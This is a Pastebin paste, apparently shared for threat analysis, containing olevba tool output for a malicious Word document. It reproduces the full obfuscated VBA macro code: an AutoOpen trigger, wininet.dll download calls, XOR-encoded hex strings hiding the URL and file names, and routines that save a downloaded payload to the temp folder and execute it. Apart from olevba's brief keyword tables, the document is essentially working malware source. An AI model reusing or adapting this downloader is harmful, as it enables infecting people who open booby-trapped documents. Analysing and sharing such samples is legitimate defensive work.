SHARE
TWEET

Malicious Word macro

dynamoo Apr 23rd, 2015 289 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.25 - http://decalage.info/python/oletools
  2. Flags       Filename                                                        
  3. ----------- -----------------------------------------------------------------
  4. OLE:MASIHB- 204-23~1.doc
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 204-23~1.doc
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ThisDocument.cls
  13. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/ThisDocument'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15.  
  16. Sub RAMIRO(FELIX As Long)
  17. BRADY
  18. End Sub
  19.  
  20. Sub autoopen()
  21. RAMIRO (124)
  22. End Sub
  23. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  24. ANALYSIS:
  25. +----------+----------+---------------------------------------+
  26. | Type     | Keyword  | Description                           |
  27. +----------+----------+---------------------------------------+
  28. | AutoExec | AutoOpen | Runs when the Word document is opened |
  29. +----------+----------+---------------------------------------+
  30. -------------------------------------------------------------------------------
  31. VBA MACRO PERCY.bas
  32. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/PERCY'
  33. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  34.  
  35. #If VBA7 And Win64 Then
  36. Public Declare PtrSafe Function MICKEY Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef DYLAN As LongPtr) As Long
  37. Public Declare PtrSafe Function CHASE Lib "wininet.dll" Alias "InternetOpenA" (ByVal MOISES As String, ByVal DAMIAN As Long, ByVal REUBEN As String, ByVal DESMONDTOPHER As String, ByVal DANIEL As Long) As LongPtr
  38. Public Declare PtrSafe Function MARCEL Lib "wininet.dll" Alias "InternetReadFile" (ByVal AUGUST As LongPtr, ByVal DARIUS As String, ByVal DONALD As Long, GEORGE As Long) As Integer
  39. Public Declare PtrSafe Function CLEVELAND Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal KENNETH As LongPtr, ByVal AGUSTINN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As LongPtr
  40. #End If
  41.  
  42. Public Function RICARDO(ByRef OLIVER As Object, ByRef HUGO As String, RUBEN As Double) As Boolean
  43.  
  44. Set TOMAS = CreateObject _
  45. (MURRAY _
  46. (ESTEBAN, BUDDY))
  47. Dim BRETT As Integer
  48. BRETT = TOMAS.Open(OLIVER & HUGO)
  49. End Function
  50.  
  51. Public Function GILBERTO(ByRef MONTE As String, ByRef DARWIN As Long) As Integer
  52. GILBERTO = Asc(WOODROW(44, MONTE, _
  53.         ((DARWIN Mod SALVATORE(MONTE)) + 1), 1))
  54. End Function
  55.  
  56. Public Function LIONEL(FREDDIE As Long, TERRENCE As String, ENRIQUE As String) As String
  57. FREDDIE = FREDDIE * 2
  58. LIONEL = MURRAY(TERRENCE, ENRIQUE)
  59.    
  60. End Function
  61.  
  62. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  63. ANALYSIS:
  64. +------------+----------------+-----------------------------------------+
  65. | Type       | Keyword        | Description                             |
  66. +------------+----------------+-----------------------------------------+
  67. | Suspicious | CreateObject   | May create an OLE object                |
  68. | Suspicious | Lib            | May run code from a DLL                 |
  69. | Suspicious | Open           | May open a file                         |
  70. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  71. |            |                | may be used to obfuscate strings        |
  72. |            |                | (option --decode to see all)            |
  73. | IOC        | wininet.dll    | Executable file name                    |
  74. +------------+----------------+-----------------------------------------+
  75. -------------------------------------------------------------------------------
  76. VBA MACRO CLAY.bas
  77. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/CLAY'
  78. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  79.  
  80.  
  81.  
  82. Public Function MURRAY(MONTE As String, ELLIOT As String) As String
  83.    
  84.     Dim JOAQUIN As Integer
  85.     Dim HARLAN As Integer
  86.    
  87.    
  88.     Dim DARREL As Integer
  89.  DARREL = 351
  90. If DARREL > DARREL * 3 Then End
  91.    
  92.     Dim DARWIN As Long
  93.     Dim AGUSTIN As String
  94.     For DARWIN = 1 To (SALVATORE(ELLIOT) / 2)
  95.         JOAQUIN = DESMOND(ELLIOT, DARWIN)
  96.         HARLAN = GILBERTO(MONTE, DARWIN)
  97.         AGUSTIN = AGUSTIN + DAMIEN(JOAQUIN, HARLAN)
  98.     Next DARWIN
  99.    MURRAY = AGUSTIN
  100. End Function
  101.  
  102. Public Sub BRADY()
  103.         Dim BERT As Double
  104.  
  105.     Dim BURTON As Integer
  106. For BURTON = 4 To 54
  107. BURTON = BURTON + 30
  108. Next BURTON
  109.  
  110. DOMINGO (4.43)
  111.  
  112. End Sub
  113. Public Function SCOTTY(SANTIAGO As String)
  114. Dim ALONZO As String
  115. ALONZO = "JAMAL"
  116. ELIAS 33 + 0.2
  117. ALONZO = ALONZO + "DEVON"
  118. End Function
  119.  
  120.  
  121.  
  122.  
  123.  
  124.  
  125. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  126. ANALYSIS:
  127. No suspicious keyword or IOC found.
  128. -------------------------------------------------------------------------------
  129. VBA MACRO ROLANDO.bas
  130. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/ROLANDO'
  131. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  132.  
  133.  
  134.  
  135.  
  136. Public Function NOLAN(CAREY As Long, ByVal QUINTON As String) As Boolean
  137.     #If VBA7 And Win64 Then
  138.         Dim BRAIN As LongPtr, ELWOOD As LongPtr
  139.     #Else
  140.         Dim BRAIN As Long, ELWOOD As Long
  141.     #End If
  142.     Dim KENDRICK As Long
  143.     Dim DARIUS As String * ELLIOTT, MOISES As String
  144.     Dim RAPHAEL As Integer, FIDEL As Double
  145.     BRAIN = EFRAIN
  146.     If BRAIN = 0 Then
  147.         Exit Function
  148.     End If
  149.     Dim THADDEUS As Boolean
  150.    
  151.     If CLIFF(ELWOOD, BRAIN) Then
  152.     End If
  153.     If ELWOOD = 0 Then
  154.         FIDEL = 0
  155.     Else
  156.         MARCEL ELWOOD, DARIUS, ELLIOTT, KENDRICK
  157.         MOISES = DARIUS
  158.           Dim JACKSON As Integer
  159.           JACKSON = 0
  160.           JACKSON = JACKSON + 33
  161. If JACKSON > JACKSON + 40 Then End
  162.         Do While KENDRICK <> 0
  163.             MARCEL ELWOOD, DARIUS, ELLIOTT, KENDRICK
  164.                     MOISES = MOISES + Mid(DARIUS, 1, KENDRICK)
  165.         Loop
  166.              FIDEL = SALVATORE(MOISES): _
  167.              RAPHAEL = LOWELL("JERRY")
  168.         Open QUINTON _
  169.             For Binary Access Write _
  170.         Lock Write As #RAPHAEL
  171.         Put #RAPHAEL, , MOISES
  172.         JACKSON = JACKSON + 62
  173.     If JACKSON < 0 Then End
  174.         Close #RAPHAEL
  175.     End If
  176.     MICKEY ELWOOD
  177.     MICKEY BRAIN
  178.     MOISES = ""
  179.     If FIDEL Then
  180.         NOLAN = True
  181.     End If
  182. End Function
  183. Public Function SALVATORE(KRISTOPHER As String) As Long
  184. SALVATORE = Len(KRISTOPHER)
  185. End Function
  186.  
  187. Public Function ELIAS(ERNESTO As Double)
  188.  
  189. Dim LIONEL As Object
  190.  
  191.  
  192.     Dim ROMAN As Long
  193. For ROMAN = 14 To 15
  194. ROMAN = ROMAN + 15
  195. Next ROMAN
  196.    
  197.  
  198. Dim ELLIS  As Object
  199.  
  200.  
  201. For ROMAN = 10 To 20
  202. ROMAN = ROMAN + 60
  203. Next ROMAN
  204.    
  205.  
  206. Set ELLIS = LAURENCE
  207. ROMAN = ROMAN + 5
  208. Dim LEWIS As Boolean
  209.  
  210. If ROMAN > ROMAN * 100 Then End
  211. LEWIS = ORVILLE(LIONEL, ELLIS)
  212. ERNESTO = ERNESTO + 4
  213. End Function
  214.  
  215.  
  216. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  217. ANALYSIS:
  218. +------------+---------+-----------------------------------------+
  219. | Type       | Keyword | Description                             |
  220. +------------+---------+-----------------------------------------+
  221. | Suspicious | Open    | May open a file                         |
  222. | Suspicious | Write   | May write to a file (if combined with   |
  223. |            |         | Open)                                   |
  224. | Suspicious | Put     | May write to a file (if combined with   |
  225. |            |         | Open)                                   |
  226. | Suspicious | Binary  | May read or write a binary file (if     |
  227. |            |         | combined with Open)                     |
  228. +------------+---------+-----------------------------------------+
  229. -------------------------------------------------------------------------------
  230. VBA MACRO CORNELIUS.bas
  231. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/CORNELIUS'
  232. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  233.  
  234. Option Explicit
  235.  
  236. Public Const BUDDY = "1F3E2C223B670D3C392D24305231253927"
  237. Public Const XAVIER = "1026202B253B297F67243536"
  238. Public Const KERMIT = "24223D3E6D66633D3C23287D502A623F2561637B637F7A7463364B20"
  239. Public Const ROSCOE = "1F353B27273D25222E6F0B3A5F201F2F3A3A3224032E23242E27"
  240. Public Const ESTEBAN = "ELVINWILLIAMS3"
  241.  
  242.  
  243.  
  244. Public Const ELLIOTT = 5555
  245. Public Const WILFREDO As String = "BART"
  246. Public Const JARROD = 1
  247. Public Const VANCE = &H4000000
  248.  
  249. Sub DOMINGO(SANTOS As Double)
  250.  
  251. SCOTTY ("ANTONSOLOMON")
  252. End Sub
  253.  
  254. Public Function DAMIEN(ByRef JOAQUIN As Integer, ByRef HARLAN As Integer) As String
  255.     DAMIEN = Chr(JOAQUIN Xor HARLAN)
  256. End Function
  257.  
  258. Public Function DESMOND(ByRef ELLIOT As String, ByRef DARWIN As Long) As Integer
  259.  DESMOND = Val("&H" & (WOODROW(12, ELLIOT, ASHLEY(DARWIN), 2)))
  260. End Function
  261. Public Function ASHLEY(ByRef DARWIN As Long) As Long
  262.  ASHLEY = (2 * DARWIN) - 1
  263. End Function
  264.  
  265.  
  266.  
  267.  
  268. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  269. ANALYSIS:
  270. +------------+----------------+-----------------------------------------+
  271. | Type       | Keyword        | Description                             |
  272. +------------+----------------+-----------------------------------------+
  273. | Suspicious | Chr            | May attempt to obfuscate specific       |
  274. |            |                | strings                                 |
  275. | Suspicious | Xor            | May attempt to obfuscate specific       |
  276. |            |                | strings                                 |
  277. | Suspicious | Hex Strings    | Hex-encoded strings were detected, may  |
  278. |            |                | be used to obfuscate strings (option    |
  279. |            |                | --decode to see all)                    |
  280. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  281. |            |                | may be used to obfuscate strings        |
  282. |            |                | (option --decode to see all)            |
  283. +------------+----------------+-----------------------------------------+
  284. -------------------------------------------------------------------------------
  285. VBA MACRO LAMAR.bas
  286. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/LAMAR'
  287. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  288.  
  289.  
  290.  
  291.  
  292. Public Const JASPER = "RUSSEL"
  293. #If VBA7 And Win64 Then
  294. #Else
  295. Public Declare Function MICKEY Lib "wininet.dll" Alias "InternetCloseHandle" (ByRef DYLAN As Long) As Long
  296. Public Declare Function CHASE Lib "wininet.dll" Alias "InternetOpenA" (ByVal MOISES As String, ByVal DAMIAN As Long, ByVal REUBEN As String, ByVal DESMONDTOPHER As String, ByVal DANIEL As Long) As Long
  297. Public Declare Function MARCEL Lib "wininet.dll" Alias "InternetReadFile" (ByVal AUGUST As Long, ByVal DARIUS As String, ByVal DONALD As Long, GEORGE As Long) As Integer
  298. Public Declare Function CLEVELAND Lib "wininet.dll" Alias "InternetOpenUrlA" (ByVal KENNETH As Long, ByVal AGUSTINN As String, ByVal EDWARD As String, ByVal BRIAN As Long, ByVal RONALD As Long, ByVal ANTHONY As Long) As Long
  299. #End If
  300.  
  301.  
  302. Public Function WOODROW(SAMMY As Long, ByRef KRISTOPHER As String, ByRef JOAQUIN As Integer, ByRef HARLAN As Integer) As String
  303.     WOODROW = Mid$(KRISTOPHER, JOAQUIN, HARLAN)
  304.     SAMMY = SAMMY + 31
  305. End Function
  306. #If VBA7 _
  307.     And Win64 Then
  308. Public Function EFRAIN() As LongPtr
  309.  #Else
  310. Public Function EFRAIN() As Long
  311.  
  312.  #End If
  313.  
  314.  EFRAIN = CHASE(WILFREDO, JARROD, vbNullString, vbNullString, 0)
  315. End Function
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  323. ANALYSIS:
  324. +------------+----------------+-----------------------------------------+
  325. | Type       | Keyword        | Description                             |
  326. +------------+----------------+-----------------------------------------+
  327. | Suspicious | Lib            | May run code from a DLL                 |
  328. | Suspicious | Base64 Strings | Base64-encoded strings were detected,   |
  329. |            |                | may be used to obfuscate strings        |
  330. |            |                | (option --decode to see all)            |
  331. | IOC        | wininet.dll    | Executable file name                    |
  332. +------------+----------------+-----------------------------------------+
  333. -------------------------------------------------------------------------------
  334. VBA MACRO DEXTER.bas
  335. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/DEXTER'
  336. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  337.  
  338.  
  339. Public Function LAURENCE() As Object
  340. Dim ISMAEL As String
  341. ISMAEL = MURRAY(ESTEBAN, ROSCOE)
  342. Set LAURENCE = CreateObject(ISMAEL)
  343. End Function
  344. #If VBA7 And Win64 Then
  345.        Public Function CLIFF(ByRef GRADY As LongPtr, NOAH As LongPtr) As Boolean
  346.     #Else
  347.        Public Function CLIFF(ByRef GRADY As Long, NOAH As Long) As Boolean
  348.     #End If
  349.         Dim PHIL As Double
  350. Dim GUADALUPE As String
  351. Dim CLARK As Long
  352.     GUADALUPE = LIONEL(893, ESTEBAN, KERMIT)
  353.  
  354. For PHIL = 14 To 15
  355. PHIL = PHIL + 5.5
  356. Next PHIL
  357.     GRADY = CLEVELAND(NOAH, GUADALUPE, vbNullString, 0, VANCE, 0)
  358.     CLIFF = True
  359. End Function
  360.  
  361.  
  362. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  363. ANALYSIS:
  364. +------------+--------------+--------------------------+
  365. | Type       | Keyword      | Description              |
  366. +------------+--------------+--------------------------+
  367. | Suspicious | CreateObject | May create an OLE object |
  368. +------------+--------------+--------------------------+
  369. -------------------------------------------------------------------------------
  370. VBA MACRO AMOS.bas
  371. in file: 204-23~1.doc - OLE stream: u'Macros/VBA/AMOS'
  372. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  373.  
  374.  
  375.  
  376. Public Function ORVILLE(ByRef OLIVER As Object, ByRef HOMER As Object) As Boolean
  377.  
  378. Dim HARRISON As Long
  379. Set OLIVER = IGNACIO(LAURENCE)
  380.  
  381. Dim ADOLFO
  382.  
  383. Dim HUGO As String
  384. HUGO = LIONEL(4096, ESTEBAN, XAVIER)
  385.  
  386. For HARRISON = 2 To 5
  387. HARRISON = HARRISON * 12
  388. Next HARRISON
  389. ADOLFO = OLIVER & HUGO
  390.  
  391.  
  392. If WILFRED(HOMER, ADOLFO) Then
  393.  
  394. End If
  395. If NOLAN(559, ADOLFO) Then
  396. End If
  397. If WILFRED(HOMER, ADOLFO) Then
  398. End If
  399.  
  400.  
  401. ORVILLE = RICARDO(OLIVER, HUGO, 22)
  402.  
  403. End Function
  404. Public Function WILFRED(ByRef JERMAINE As Object, ByVal FORREST As String) As Boolean
  405. If JERMAINE.FileExists(FORREST) Then
  406. WILFRED = True
  407. Else
  408. WILFRED = False
  409. End If
  410. End Function
  411.  
  412. Public Function LOWELL(KRISTOPHER As String) As Integer
  413.     LOWELL = FreeFile
  414. End Function
  415.  
  416. Public Function IGNACIO(ByRef NICHOLAS As Object) As Object
  417. Set IGNACIO = NICHOLAS.GetSpecialFolder(2)
  418. End Function
  419.  
  420. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  421. ANALYSIS:
  422. No suspicious keyword or IOC found.
RAW Paste Data
Challenge yourself this year...
Learn something new in 2017
Top